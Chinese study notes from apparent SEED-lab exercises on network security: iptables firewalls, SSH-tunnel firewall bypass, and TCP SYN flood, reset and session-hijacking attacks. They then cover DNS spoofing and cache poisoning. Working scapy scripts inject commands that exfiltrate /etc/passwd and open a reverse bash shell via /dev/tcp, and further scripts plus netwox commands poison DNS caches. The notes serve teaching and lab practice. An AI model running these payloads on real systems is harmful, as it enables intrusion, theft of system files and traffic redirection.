sudo iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
sudo iptables -A INPUT -p udp --sport 53 -j ACCEPT

由于seed lab虚拟机DNS服务器在本机,故还需执行下面两条命令,否则本地DNS服务器将无法收到DNS查询:

sudo iptables -A OUTPUT -p udp --sport 53 -j ACCEPT
sudo iptables -A INPUT -p udp --dport 53 -j ACCEPT

上述配置执行,并用iptables -L列出设置 iptables设置

设置完成后,应当把默认策略改为DROP,这样只有满足规则的数据包才能够进入这台计算机,其他的都会被丢弃

sudo iptables -P INPUT DROP
sudo iptables -P OUTPUT DROP
sudo iptables -P FORWARD DROP

完整脚本(iptablesfw.sh):

#!/bin/bash

# Allow SSH and HTTP
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp  -j ACCEPT            

# Allow loopback
iptables -I INPUT 1 -i lo -j ACCEPT

# Allow DNS
iptables -A OUTPUT -p udp  --dport 53 -j ACCEPT
iptables -A OUTPUT -p udp  --sport 53 -j ACCEPT
iptables -A INPUT  -p udp  --sport 53 -j ACCEPT
iptables -A INPUT  -p udp  --dport 53 -j ACCEPT

# Set default filter policy to DROP.
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

该脚本用sudo执行

测试 测试 实验表明,telnet连23端口不成功,80端口是成功的,实验成功。

实验后要清除防火墙规则,否则后续实验会受影响,清除脚本(cleanup.sh):

#!/bin/sh

# Set up all the default policies to ACCEPT packets.
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT

#Flush all existing configrations.
iptables -F

Next Previous

 

iptables 是 Linux 中用于管理网络流量的防火墙工具。以下是一些快速指南,可以帮助你掌握 iptables 的基本用法。

1. 基本概念

iptables 使用表(table)链(chain)规则(rule)来控制数据包的处理。主要的表有:

  • filter(默认):用于控制数据包的允许或拒绝,包含 INPUT、FORWARD、OUTPUT 三个链。

  • nat:用于网络地址转换(NAT),例如端口转发。

  • mangle:用于修改数据包的内容。

每个链执行一组规则来决定数据包的去向:

  • INPUT:进来本机的数据包。

  • FORWARD:转发数据包给其他网络的路由器。

  • OUTPUT:从本机发出的数据包。

2. 查看当前规则

可以通过以下命令查看当前的 iptables 规则:

sudo iptables -L -v -n

3. 添加规则

格式:

sudo iptables -A 链 -p 协议 --dport 端口 -j 目标
  • -A:表示添加规则

  • :指定链(INPUT, OUTPUT, FORWARD)

  • -p:协议,例如 tcpudp

  • --dport:指定端口号

  • -j:指定动作,例如 ACCEPTDROPREJECT

示例:允许访问 22 端口(SSH)

sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT

4. 删除规则

可以使用 -D 来删除规则,方法是指定规则的完整描述或规则号。

示例:删除刚刚添加的 22 端口规则

sudo iptables -D INPUT -p tcp --dport 22 -j ACCEPT

或者通过查看规则编号来删除:

sudo iptables -L --line-numbers
sudo iptables -D INPUT 1

5. 保存和恢复规则

在重启后保留规则,你可以保存当前规则并在启动时恢复。

# 保存规则(不同系统位置不同,以下为 Ubuntu 示例)
sudo iptables-save > /etc/iptables/rules.v4

# 恢复规则
sudo iptables-restore < /etc/iptables/rules.v4

6. 常用操作示例

  • 拒绝某端口(例如 80 端口):

    sudo iptables -A INPUT -p tcp --dport 80 -j DROP
  • 限制某 IP 地址的访问(例如拒绝 IP 192.168.1.10):

    sudo iptables -A INPUT -s 192.168.1.10 -j DROP
  • 允许本地回环接口(localhost)流量

    sudo iptables -A INPUT -i lo -j ACCEPT

7. 清除所有规则

在测试时,如果需要清空所有规则,使用以下命令:

sudo iptables -F

8. 查看 NAT 表

要查看 NAT 表中的规则:

sudo iptables -t nat -L -v -n

这就是 iptables 的基本操作。

 

状态防火墙和应用防火墙

之前的都是无状态防火墙,这种防火墙独立地检查每个数据包。而数据包通常是上下文关联的。比如,如果只想让 那些属于已有连接的TCP数据包进入网络,就必须用状态防火墙。

状态防火墙

状态防火墙能监视连接的数据包,这个连接是广义的。 比如TCP是面向连接的,使用三次握手来建立连接。 UDP不是面向连接,但当一个UDP客户端和服务端开始交换数据时,状态防火墙认为连接已经建立,一段时间没有数据交换,就 认为连接终止。 ICMP也不是面向连接的。因ICMP消息仅有一轮请求与应答,当防火墙看到应答时,会认为连接被建立并同时终止。 复杂协议的连接,一些防火墙在传输层和网络层之上跟踪连接,如HTTP,FTP和IRC连接就是应用层协议,由于广泛使用, 防火墙也对这些连接跟踪。

Linux的连接跟踪框架

Linux内核提供了一个连接跟踪框架nf_conntrack,该框架也是建立在Netfilter上。这个框架保存连接状态信息。 每个进入nf_conntrack的数据包都会被标上一个连接状态,以便之后的钩子处理数据包。

nf_conntrack的状态有: 1、NEW, 用于建立连接 2、ESTABLISHED,连接已建立 3、RELATED, 这个状态专门用来建立不同连接之间的联系。如FTP中,控制流(端口21的数据流)被标记为ESTABLISHED, 而数据传输流被标记为RELATED连接。 4、INVALID, 标记不符合连接行为的数据包

搭建一个状态防火墙

上一课中iptables实现的一个防火墙有一个问题,它有一条规则是这么写的:

iptables -A OUTPUT -p tcp  -j ACCEPT

这样有一个问题,就是它允许所有服务发出TCP数据包,而没有限制只允许这两个服务(SSH和HTTP)发出TCP数据包 为此改进这条规则,改为基于连接状态的规则:

sudo iptables -A OUTPUT -p tcp -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

-m conntrack,使用conntrack模块中的规则 --ctstate ESTABLISHED, RELATED, 具备ESTABLISHED或RELATED状态的包

测试: 策略使用前抓包 使用前

策略使用后抓包 使用后

这个实验目的是应用之后,看不到服务端(150)发出的TCP包,但最终还是看到了,没有做成功

应用防火墙

数据包过滤器只检查传输层及其下层,应用防火墙检查所有层数据。 典型的应用防火墙是代理,因此也被称为应用代理防火墙 应用防火墙的一个普遍应用是Web代理,它用于控制浏览器可以访问的内容,Web代理主要用于过滤发送出去的数据包, 但也可以用于过滤进来的数据包。

在网络中搭建一个Web代理,最关键之处在于确保所有的网络流量经过代理服务器。 实现方式有以下几种: 1、修改系统配置来引导所有网络流量通过代理 2、修改浏览器的网络设置使所有的HTTP请求都通过指定的代理 3、使用iptables直接修改HTTP的IP数据包,将其目的IP地址和端口号改成代理的IP地址和端口号 最好的方式是不修改任何主机配置

代理技术也可被用于绕过防火墙。如果一个防火墙基于数据包的目的地址进行过滤,则可以用Web代理浏览因特网, 从而绕过防火墙。只需将目的地址修改为代理服务器的地址,让代理服务器获得网页并把结果传给即可。

Socks代理

SOCKS(socket secure)代理服务器,利用应用层和传输层之间的一个协议搭建防火墙,它就是 垫层(shim layer)或者OSI模型中的会话层(session layer)。利用这一层,代理服务器 可以独立于应用监视所有经过它的会话请求。 客户机软件需要实现SOCKS协议才能使用SOCKS代理。

绕过防火墙

最有效的绕过防火墙的方法是隧道技术,它能够隐藏数据的真实意图。搭建隧道的方式有很多种, 其中虚拟专用网络(virtual private network, VPN)在IP层搭建隧道,被广泛用来绕过防火墙。

使用SSH隧道绕过防火墙

实验场景: 公司防火墙会拦截所有进入公司的telnet数据,但允许用SSH登陆到内部一台叫apollo的机器 home是自己机器名称,work是公司内部的一台机器,平时上班和家里都有需要通过telnet到 work机器来工作。

Ssh本地端口通过跳板映射到其他机器

HostA$ ssh -L 0.0.0.0:PortA:HostC:PortC user@HostB HostA 上启动一个 PortA 端口,通过 HostB 转发到 HostC:PortC上,在 HostA 上运行

故要实现以上需求,只需两条命令:

ssh -L 8000:work:23 apollo

通过apollo,把本机8000端口映射到work的23端口

telnet localhost 8000

相当于telnet到了work的23端口

另一个实验场景: 正在使用公司内的work计算机,想访问facebook,但公司防火墙阻止访问。

ssh -L 8000:www.facebook.com:80 home

通过home机器,把本机8000映射到facebook的80端口,只需访问localhost:8000即可绕过防火墙

动态端口转发

上面为一个专门的网站建立了一个SSH隧道,那总不可能为每个网站都建一个隧道,就需要使用动态端口转发

本地socks5代理

HostA$ ssh -D localhost:1080 HostB 在 HostA 的本地 1080 端口启动一个 socks5 服务, 通过本地 socks5 代理的数据会通过 ssh 链接先发送给 HostB,再从 HostB 转发送给远程主机 那么在 HostA 上面,浏览器配置 socks5 代理为 127.0.0.1:1080, 看网页时就能把数据通过 HostB 代理出去,类似 ss/ssr 版本,只不过用 ssh 来实现

动态端口转发工作在TCP/IP模型的应用层和传输层之间(即OSI模型的会话层),因此它独立于应用逻辑,比 Web代理更加通用。

使用VPN绕过防火墙

最初开发VPN是出于安全考虑,希望提供从外部专用网络到内网的安全访问。然而,如今VPN通常被用来绕过防火墙, 尤其是绕过出口过滤。

Next Previous

Tcp安全

TCP 建立在 IP 协议之上,传输层是网络协议服务的最高层,同时也是用户交互网络的最底层。

1. TCP 协议概述 (来源 ,,,,, )

  • 定义和功能: 传输控制协议 (TCP) 是互联网协议套件的核心协议之一,位于 IP 层之上,属于传输层。它为应用程序提供主机到主机通信服务,确保可靠、有序的数据传输。TCP 建立在 IP 协议之上,传输层是网络协议服务的最高层,同时也是用户交互网络的最底层。

  • 特点:

    • 面向连接: 在数据传输开始之前,必须先建立连接,确保通信双方都准备好进行数据交换。

    • 可靠传输: 通过序列号、确认号、校验和等机制,确保数据按序、完整地传输,并进行错误检测和重传。

    • 全双工通信: 通信双方可以同时发送和接收数据。

    • 流量控制: 通过滑动窗口机制,控制数据发送速率,避免接收方缓冲区溢出。

    • 拥塞控制: 通过慢启动、拥塞避免等算法,动态调整数据发送速率,避免网络拥塞。

2. TCP 程序工作机制 (来源 ,,,,)

  • 客户端程序:

    1. 创建套接字: 使用 socket() 系统调用创建一个套接字,并指定通信类型为 SOCK_STREAM

    2. 发起连接: 使用 connect() 系统调用向服务器发起连接请求,指定服务器的 IP 地址和端口号。

    3. 发送数据: 连接建立后,使用 send() 系统调用向服务器发送数据。

    4. 接收数据: 使用 recv() 系统调用从服务器接收数据。

    5. 关闭连接: 使用 close() 系统调用关闭连接。

  • 服务器程序:

    1. 创建套接字: 使用 socket() 系统调用创建一个套接字,并指定通信类型为 SOCK_STREAM

    2. 绑定端口号: 使用 bind() 系统调用将套接字绑定到一个特定的端口号,以便客户端可以通过该端口连接到服务器。

    3. 监听连接请求: 使用 listen() 系统调用监听来自客户端的连接请求。

    4. 接受连接请求: 使用 accept() 系统调用接受来自客户端的连接请求,并创建一个新的套接字来处理该连接。

    5. 创建子进程: 使用 fork() 系统调用创建一个新的进程来处理该连接,以便服务器可以同时处理多个客户端连接。

    6. 发送和接收数据: 子进程使用 send()recv() 系统调用与客户端进行数据交换。

    7. 关闭连接: 子进程使用 close() 系统调用关闭与客户端的连接。

3. TCP 数据传输过程 (来源 ,,,,,,)

数据传输的底层原理

连接建立后,操作系统分配两个缓冲区:发送缓冲区和接收缓冲区。TCP是双工的,两端可以发送和接收数据。 当应用发送数据时,它不直接构建一个数据包,而是将数据放在TCP发送缓冲区中,然后由操作系统的TCP协议栈代码 将数据打包发出。

数据包即使不按顺序到达,也能按序排列:在TCP数据包头部有一个字段叫序列号,表示载荷中的第一个字节对应的 序列号。当数据包到达接收端时,TCP利用TCP数据头部的序列号将数据放进接收缓冲区的正确位置。

TCP中,一旦数据放入接收缓冲区,它们会被合并成一条数据流,数据包边界将会消失,而UDP不是这样。

接收端会告诉发送端数据已经收到,会发送确认包,出于效率考虑,不是对每个包都发送确认包,而是告知发送端下一个希望 收到的数据的序列号。

4. TCP 头部结构 (来源 ,,,,,,)

史上最全TCP协议所有知识点汇总 - 知乎

 

  • 源端口号和目标端口号 (各 16 位): 用于标识发送方和接收方的应用程序。

  • 序列号 (32 位): 用于标识该段数据的第一个字节的序号。如果 SYN 标志位被设置,则表示这是初始序列号。

  • 确认号 (32 位): 用于确认已接收到的数据,其值表示期望接收的下一个字节的序号。仅当 ACK 标志位被设置时有效。

  • 头部长度 (4 位): 用于表示 TCP 头部的长度,以 32 位字为单位。

  • 保留位 (6 位): 未使用。

  • 标志位 (6 位):

    包括 SYN、FIN、ACK、RST、PSH 和 URG 等标志位,用于控制 TCP 连接和数据传输过程。

    • SYN: 用于建立连接。

    • FIN: 用于断开连接。

    • ACK: 用于确认数据包。

    • RST: 用于重置连接。

    • PSH: 用于立即发送数据。

    • URG: 用于标识紧急数据。

  • 窗口大小 (16 位): 用于流量控制,表示接收方当前可接收的数据量。

  • 校验和 (16 位): 用于验证 TCP 头部和数据的完整性。

  • 紧急指针 (16 位): 用于指向紧急数据的结束位置。仅当 URG 标志位被设置时有效。

  • 选项 (0-320 位,32 位对齐): 用于扩展 TCP 头部,例如添加时间戳、最大段大小等信息。

    TCP头部

    tcp头部

    TCP头部长度用32位字的数量来计量,因此将这个域的值乘以4才得到TCP头部字节数。 窗口大小用来表明TCP段的发送者希望接收的字节数的上限。流量控制用的。 检验和计算范围包括IP头部、TCP头部、TCP数据。 紧急指针用于紧急/优先级的目的。紧急数据不需要排队。

    Clip_2024-11-06_19-21-05

5. TCP 三次握手协议 (来源 ,,,,, )

  • 步骤:

    1. 客户端发送 SYN 包: 客户端向服务器发送一个 SYN 包,其中包含一个随机生成的初始序列号 (x)。

    2. 服务器发送 SYN-ACK 包: 服务器收到 SYN 包后,回复一个 SYN-ACK 包,其中包含服务器自己的随机生成的初始序列号 (y),以及对客户端 SYN 包的确认 (x+1)。

    3. 客户端发送 ACK 包: 客户端收到 SYN-ACK 包后,回复一个 ACK 包,确认服务器的序列号 (y+1)。

  • 目的:

    • 确保双方都准备好进行数据传输。

    • 协商初始序列号。

    • 建立连接状态。

6. TCP 连接状态 (来源 ,,,,)

  • LISTEN: 服务器监听连接请求的状态。

  • SYN_SENT: 客户端已发送 SYN 包,等待服务器回复的状态。

  • SYN_RECV: 服务器已收到 SYN 包,并发送 SYN-ACK 包,等待客户端回复的状态。

  • ESTABLISHED: 连接已建立,可以进行数据传输的状态。

  • FIN_WAIT_1: 客户端已发送 FIN 包,等待服务器回复的状态。

  • FIN_WAIT_2: 客户端已收到服务器的 FIN 包的确认,等待服务器关闭连接的状态。

  • TIME_WAIT: 客户端已关闭连接,等待一段时间以确保服务器收到所有数据的状态。

  • CLOSE_WAIT: 服务器已收到 FIN 包,并发送确认,等待应用程序关闭连接的状态。

  • LAST_ACK: 服务器已发送 FIN 包,等待客户端确认的状态。

  • CLOSED: 连接已关闭的状态。

7. TCP 安全问题

由于 TCP 协议的特性和工作机制,存在一些安全风险,主要包括以下几种攻击类型:

  • TCP 泛洪攻击

    (来源,,,,,)

    • 利用 TCP 三次握手过程,发送大量伪造的 SYN 包,使服务器资源耗尽,无法处理正常连接请求。

    • 防御措施:使用 SYN Cookies、限制半开连接数量、部署入侵检测系统等。

  • TCP 重置攻击

    (来源,,,)

    • 伪造 RST 包,强制断开已建立的 TCP 连接。

    • 防御措施:加密传输数据、使用安全的协议 (如 SSH)、部署防火墙等。

  • TCP 会话劫持攻击

    (来源,,,,,)

    • 在已建立的 TCP 连接中注入恶意数据,例如伪造身份、窃取数据、篡改数据等。

    • 防御措施:加密传输数据、使用安全的协议、部署入侵检测系统等。

8. TCP 协议发展趋势

随着互联网的不断发展,TCP 协议也在不断改进和完善,以应对新的挑战和需求。未来 TCP 协议的发展趋势主要包括以下几个方面:

  • 提高传输效率: 通过改进拥塞控制算法、优化数据传输机制等,进一步提高 TCP 协议的传输效率。

  • 增强安全性: 通过引入新的安全机制、改进现有安全机制等,增强 TCP 协议的安全性,抵御各种攻击。

 

 

SYN泛洪攻击

SYN泛洪攻击针对的是TCP建立连接使用的三次握手协议。

三次握手协议

三次握手

1、客户端发送SYN包给服务端,用随机产生的数字x作为初始序列号。(因TCP头部的SYN位被置为1,因此这个包叫 SYN包) 2、服务端收到SYN包后,回复一个SYN+ACK包,并用y作为初始序列号

服务端收到初始SYN包时,使用一个叫做传输控制块(TCB)的特殊数据结构来存储连接信息。到这一步时,连接还
没有建立,因此称为半打开连接。服务端将TCB存储在一个只用于存放半打开连接的队列中。在服务端从客户端得到
ACK包后,它会将TCB拿出队列。
如果ACK包没有到达,服务端会重新发送SYN+ACK包。如果最后的ACK包一直收不到,存储在半打开连接队列中的TCB
最终会因超时而被丢弃。

3、客户端收到后发一个ACK包结束这次握手

SYN泛洪攻击

攻击原理:在三次握手连接完成之前,服务器将所有半打开连接存储在一个队列中,这个队列的容量是有限的,如果攻击者 填满这个队列,那么服务器将没有空间来存储任何半打开连接的TCB,不再接受任何新的SYN包,结果就是任何人无法连接 服务器。

这样攻击过程如下: 1、连续发送SYN包给服务器 2、不要完成三次握手协议的第三步

 

导致TCB记录被移出队列的情况有以下几种: 1、完成三次握手 2、记录超时,一般40s 3、服务器收到针对半打开连接的RST包

 

有防火墙因素攻击变复杂

当使用SYN泛洪攻击服务器时,攻击者需要使用随机的源IP地址,否则攻击很容易被防火墙屏蔽。 当服务器回复SYN+ACK包时,如果伪造的IP地址没有对应计算器,半打开连接将会在队列中停留直到超时丢弃。 如果伪造的IP地址到达了真实的计算机,计算器将会发送TCP RST包给服务器。 实践中会有很多RST包,攻击必须和这些RST包竞争。

TCP复位攻击

TCP复位攻击的目标是破坏两个主机之间已存在的连接。

从TCP协议的原理来谈谈rst复位攻击 - 知乎

TCP安全之——RST复位攻击简析_rst攻击-CSDN博客

关闭TCP连接

方式一:

1、A没有更多数据传给B时,发送FIN包给B 2、B收到后,回复ACK包,A到B的连接就关闭了,但B到A连接依旧保持 3、如果B也要关闭到A的连接,发送FIN,A回复ACK,就关闭

方式二:

只需发送RST包,连接立刻中断,主要用在没有时间或者无法使用FIN协议的紧急情况。 比如发现SYN泛洪攻击。

TCP复位攻击的条件

假冒的方式发送RST包来中断连接,叫TCP复位攻击。 要成功实现攻击,要正确设置: 1、源和目的IP地址、端口号 2、序列号

 

把攻击者和受害者放在同一个网络,可以降低猜测序列号的难度

Clip_2024-11-06_19-20-02

防御TCP复位劫持攻击的措施:

加密传输数据: 通过加密TCP数据包,可以防止攻击者嗅探或伪造RST包。

使用安全的协议: 使用安全的协议(如SSH)可以提供更强的安全性,因为它们在网络层进行加密,可以保护整个TCP数据包,包括头部。

部署防火墙: 防火墙可以帮助阻止来自攻击者的恶意流量。

 

 

TCP会话劫持攻击背景

 

浅谈会话劫持原理及实践 _会话劫持攻击原理-CSDN博客

一台计算机可以有多个并发的TCP会话,因此它需要知道一个数据包属于哪一个TCP会话。TCP使用4元组来唯一确定一个会话: 源IP地址、目的IP地址、源端口号、目的端口号,这4个域称为TCP会话的特征。

为了伪造数据包,除了上面四个特征必须符合外,还有一个关键的序列号必须符合

如果接收方是telnet服务器,那从发送方到接收方的数据就是命令,一旦控制了该会话,就可以让telnet服务器运行攻击者的命令, 这就是把这类攻击称为TCP会话劫持的原因

发动TCP会话劫持攻击

实验目标:劫持客户端,在服务端用受害者权限运行命令 1、客户端telnet连接到服务端 2、Wireshark中找到客户端发给服务端的最后一个telnet数据包 客户端最后一个包

 

客户端发给服务端最后一个数据包是ACK包,不包含任何数据,因此不占用任何序列号

 

3、宿主机启动TCP接收服务 一旦攻击命令在服务端上执行成功,就可以通过命令把输出发送到宿主机启动的服务器上 起nc服务

-lv是等待连接,并输出来自这个连接的任何内容

4、将服务端输出重定向到宿主机 服务端执行命令: 重定向

宿主机收到:

收到重定向信息

上面这个实验是说明原理的,实际攻击者不可能访问服务器。下面用scapy来实现这个攻击。

#!/usr/bin/python3
import sys
from scapy.all import *

print("SENDING SESSION HIJACKING PACKET.....")
client_addr = "192.168.230.151"
server_addr = "192.168.230.150"

IPLayer = IP(src=client_addr, dst=server_addr)
TCPLayer = TCP(sport=38276, dport=23, flags="A", seq=2833231448, ack=1828464701)
Data = "\r cat /etc/passwd > /dev/tcp/192.168.230.1/9090\r"
pkt = IPLayer/TCPLayer/Data
ls(pkt)
send(pkt, verbose=0)

1、宿主机起nc服务 2、宿主机发动攻击 宿主机执行:

sudo python sessionhijack.py

可以看到服务端的passwd重定向到了宿主机: 攻击成功

Warning

实验实际做下来,第一次没有劫持成功,重新wireshark取数据,更新脚本数值,第二次成功了,要多试几次

Note

脚本攻击中还必须设置ACK位,就是wireshark中的Acknowledgment Number。 当攻击过程中如果客户端还是持续地输入,那么序列号就不容易写正确,这时可以做一个估计N + 100,这样受害者 输入长度到的时候就会触发伪造数据,为了使伪造数据不与受害者数据混淆,故加入\r

TCP劫持攻击连接的过程

上一个实验对客户端和服务端的连接是破坏性的,攻击者发的伪造包,服务端收到后回复给了客户端,而客户端没有到达 这个序列号,会认为是无效的,就会丢弃。这样服务端没有收到确认就会重发,从而一直被客户端丢弃。

另一方面,如果客户端telnet程序输入时,序列号已经被占用,服务器会视为重复数据,不予理睬,而客户端就会重发。 一段时间后,双方TCP连接被断开。

创建反向shell

步骤和上面都一样,只是脚本中Data改成:

Data = "\r /bin/bash -i > /dev/tcp/192.168.230.1/9090 2>&1 0<&1 \r"

执行后在宿主机成功获取到了服务端的shell: 获得服务端shell

 

-i 交互模式 2>&1 标准错误重定向到1,1已经重定向到宿主机9090端口 0<&1 服务端输入重定向到1

如何防御会话劫持攻击

防止会话劫持攻击的关键在于使攻击者难以伪造数据包,并对有效载荷进行加密。 以下是一些常用的防御措施:

1. 随机化源端口号

通过随机分配源端口号,攻击者更难预测到正确的端口号,从而增加伪造数据包的难度。

2. 随机化初始序列号

TCP 三次握手过程中使用的初始序列号如果可以被预测,攻击者就能更容易地伪造数据包。 通过随机化初始序列号,攻击者将更难猜到正确的序列号。

3. 加密有效载荷

加密有效载荷可以有效防止攻击者读取或篡改传输的数据,即使攻击者成功劫持了会话,也无法获取敏感信息。 例如,SSH 协议在传输层进行加密,可以保护整个 TCP 数据包,包括头部,因此可以有效防御 TCP 会话劫持攻击。

4. 使用安全的协议

选择使用更安全的协议(如 SSH)可以提供更强的安全性。

5. 部署防火墙

防火墙可以过滤网络流量,阻止来自攻击者的恶意流量,从而降低会话劫持攻击的风险。

需要注意的是,随机化源端口号和初始序列号并不能完全防御本地攻击,因为攻击者可能已经获得了本地网络访问权限。

 

 

 

 

 

DNS

DNS基本概念

DNS的主要任务是把计算机名转换为IP地址

DNS域层次结构

域名结构如下图: 域名结构 域的根节点称为根域,用符号.表示,下一层域结构称为顶级域名(TLD) 顶级域名有国家代码顶级域名(ccTLD),还有其他目的的顶级域名,如bank、coffee、jobs等 所有顶级域名的官方列表被因特网编号分配机构(IANA)掌管,到2017年已有1547个顶级域名

每个顶级域名都被IANA委托给一个指定代理,称为注册处。VeriSign是com和net域的指定代理,EDUCASE是edu域的指定代理 顶级域名的指定代理会通过注册商为公众提供注册服务,用户买了域名后,指定代理会负责把所购域名的相应信息填入注册数据库中 中国域名注册商有易名中国、万网、商务中国等

DNS区域

example.com的域 example.com是一家国际企业,有美国、英国、法国三个分部,分别对应三个子域名。在美国,又有三个分公司。 由于在芝加哥和波士顿的两家公司都比较小,因此放入了同一个区域。而纽约公司比较大,故单独用一个区域。

域名系统是通过区域组织的,一个DNS区域把树状域内临近的域名和子域组织起来,并且将管理权限分配给实体。 每个区域由权威机构管理。一个域名可以由多个机构管理。

权威域名服务器

每个DNS区域都至少有一个权威域名服务器来公布关于这个区域的信息。出于冗余目的应至少提供两个权威域名服务器。

因特网中区域的组织形式

DNS请求最终目的是从权威域名服务器得到答案,DNS采用分布式方法来找权威域名服务器,以树的形式来组织因特网中所有的 DNS区域,每一个权威域名服务器都可以沿着树的结构找到。

树的根被称为root区域,IANA负责维护这个区域,有13个权威域名服务器(DNS根服务器)管理这个区域,名称从a到m,即 从a.root-servers.net到m.root-servers.net。

DNS请求过程

用户计算机应用试图与另一台计算机通信时,会先向本机DNS解析器查询,如果失败,再发请求给系统指定的本地DNS服务器, 如果没有,该服务器会逐步从因特网其他DNS服务器查询IP地址。

本地DNS文件

在Linux中,DNS解析器依赖两个文件,分别是/etc/hosts和/etc/resolv.conf。 resolv.conf为DNS解析器提供信息,包含本地DNS服务器的IP地址等

Note

如果一台计算机用DHCP(动态主机配置协议)得到IP地址,它同时也会从DHCP得到本地DNS服务器的IP地址, 并且存储到resolv.conf文件中,这种情况下,resolv.conf文件会被自动修改,任何对该文件所做的手动 更改都会被覆盖。

本地DNS服务器和迭代查询过程

本地dns服务器

计算机通常使用局域网内的DNS服务器,这是"本地"的名字来源,现在许多非本地的DNS服务器可以用作本地 DNS服务器,如谷歌公共DNS等,本地的含义服务器不一定必须位于本地

dns查询过程 dns查询过程:本地服务器为了找到www.example.net的ip地址,先是问root区域,root区域会告诉 .net服务器地址,再请求.net服务器,会告诉他example.net服务器的地址,最后才得到正确地址

dig命令会模拟本地DNS服务器的行为 先查根服务器: 查顶级域名

根服务器告诉了13个.net域名服务器: 查.net域名

.net域名服务器返回了2个example.net区域的权威域名服务器: 查example.net域名

DNS应答分为4个部分:问题部分、回复部分、授权部分和附加部分。 问题部分包含请求的问题 回复部分包含对请求问题的答案 授权部分包含指向权威服务器的记录 附加部分包含和请求有关的记录

DNS缓存,当本地DNS服务器从其他DNS服务器得到信息时,它会缓存这个信息,以便将来需要时不必浪费时间再次询问。 缓存中的每个信息都有一个存活时间。

比如查询mail.example.net,本地DNS服务器不会从root域开始查询,因为缓存中已经有example.net域名服务器的IP 地址,就直接从这个服务器开始查询。

为何是13台根服务器

因为在所有UDP实现中能保证正常工作的最大包长是512字节。要让所有根服务器数据能包含在一个512字节的UDP包中, 根服务器只能限制在13个

 

 

DNS攻击概述

针对DNS的攻击方式: 1、拒绝服务攻击 2、DNS欺骗攻击,主要目的是给受害者提供虚假的IP地址

对域名系统的四个攻击面: 1、在受感染的计算机中攻击 比如修改/etc/resolv.conf或/etc/hosts等

2、攻击用户机 当用户机给本地DNS服务器发送DNS请求时,攻击者可以立即发送一个欺骗的回复

3、攻击本地DNS服务器:缓存中毒攻击 当本地DNS服务器向因特网中的DNS服务器发送迭代请求时,攻击者可以发送欺骗回复给本地DNS服务器。 欺骗回复的信息通常被DNS服务器缓存,这个攻击被称为DNS缓存中毒攻击

4、从恶意DNS服务器发起攻击 比如用户访问attacker32.com这个网站时,一个DNS请求会最终到达attacker32.com的权威域名服务器。 除了在响应的回复部分提供IP地址外,这个域名服务器还会提供授权和附加部分的信息。 如果用户不加选择地接受域名服务器提供的所有信息,攻击者就可以通过提供虚假信息来达到攻击的目的。

攻击角度示意图如下: 攻击角度

攻击用户本机

假定攻破了用户主机,在/etc/hosts增加如下记录:

192.168.230.154 www.example.com

可以看到ping受到了影响,但dig没有影响 修改hosts

直接伪造结果给用户

当没有拿到用户机的shell,但是和用户机出于同一局域网,当用户机发dns请求时,对其dns伪造回复 攻击机运行:

sudo netwox 105 -h www.example.net -H 5.6.7.8 -a ns.attacker32.com -A 101.102.103.104

令网站www.example.net的查询结果为5.6.7.8 查询该网站的域名服务器为ns.attacker32.com ip为101.102.103.104 伪造给用户

本地DNS缓存中毒攻击

 

Clip_2024-11-08_00-38-53

Clip_2024-11-08_00-39-15

 

上面的攻击是一次都要伪造一个数据包,比较麻烦,而DNS缓存中毒攻击则实现在一段时间内都不用伪造 攻击的是本地DNS服务器。实现攻击最重要的是伪造DNS回复,这个回复是UDP数据包。

实验的目的是在伪造的回复中,把主机名www.example.net映射到IP地址1.2.3.4,并且告诉本地DNS服务器 example.net的域名服务器是攻击者的计算机ns.attacker32.com,这样一来,所有对该域的查询都会发往 ns.attacker32.com

#!/usr/bin/python
from scapy.all import *

def spoof_dns(pkt):
 if(DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
    IPpkt = IP(dst=pkt[IP].src,src=pkt[IP].dst)
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                   rdata='1.2.3.4', ttl=259200)
    NSsec  = DNSRR(rrname="example.net", type='NS',
                   rdata='ns.attacker32.com', ttl=259200)
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd,
                 aa=1,rd=0,qdcount=1,qr=1,ancount=1,nscount=1,
                 an=Anssec, ns=NSsec)
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)

pkt=sniff(filter='udp and (src host 192.168.230.154 and dst port 53)',
         prn=spoof_dns)

步骤: 1、打开wireshark,清空消息 2、DNS服务端清理缓存

sudo rndc flush

3、攻击机器(这个实验必须要用三台虚拟机,攻击者用宿主机替代不成功)执行脚本

sudo python dns_spoof.py

4、用户机dig域名

dig www.example.net

dig域名

Note

为了更方便测试,也可以将上述脚本filter改成: udp and dst port 53

攻击机器也可以不运行脚本,而改用一个命令:

sudo netwox 105 -h www.example.net -H 5.6.7.8 -a ns.attacker32.com -A 1.2.2.1 -d ens33 -T 600 -s raw

用户机得到dns解析结果: dig域名2

转储文件 将缓存转储到文件中,可以看到缓存已经被污染了

针对授权部分的攻击

上面的方法只有对一个域名的缓存,如果想要得到授权对一个域进行攻击的话,就需要配置一个合法的ip

实验的目的是伪造权威域名服务器,使所有example.net域的请求都指向attack32.com

from scapy.all import *

def spoof_dns(pkt):
   if (DNS in pkt and b'www.example.net' in pkt[DNS].qd.qname):
       IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
       UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

       Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='192.168.230.154')
       NSsec1 = DNSRR(rrname='example.net', type='NS',ttl=259200, rdata='attacker32.com')
       Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A',ttl=259200, rdata='192.168.230.156')

       DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
            ancount=1,nscount=1,arcount=1,an=Anssec, ns=NSsec1, ar=Addsec1)

       spoofpkt = IPpkt/UDPpkt/DNSpkt
       send(spoofpkt)

pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)

